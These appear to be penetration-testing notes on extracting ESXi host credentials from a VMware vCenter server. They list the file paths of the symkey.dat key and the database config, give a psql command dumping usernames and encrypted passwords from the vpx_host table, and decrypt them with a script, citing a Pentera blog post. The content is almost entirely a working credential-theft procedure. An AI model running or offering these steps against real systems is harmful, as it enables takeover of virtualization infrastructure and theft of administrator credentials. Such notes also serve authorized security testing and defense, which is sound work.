Windows：C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat

Linux：/etc/vmware-vpx/ssl/symkey.dat

Windows: C:\ProgramData\VMware\vCenterServer\cfg\vmware-vps\vcdb.properties

Linux： /etc/vmware-vpx/vcdb.properties /etc/vmware/service-state/vpxd/vcdb.properties

Windows: C:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exe

Linux: /opt/vmware/vpostgres/9.3/bin/psql

psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc

pip3 install pycryptodome

python3 decrypt.py symkey.dat password.enc password.txt

see the end -> https://pentera.io/blog/information-disclosure-in-vmware-vcenter/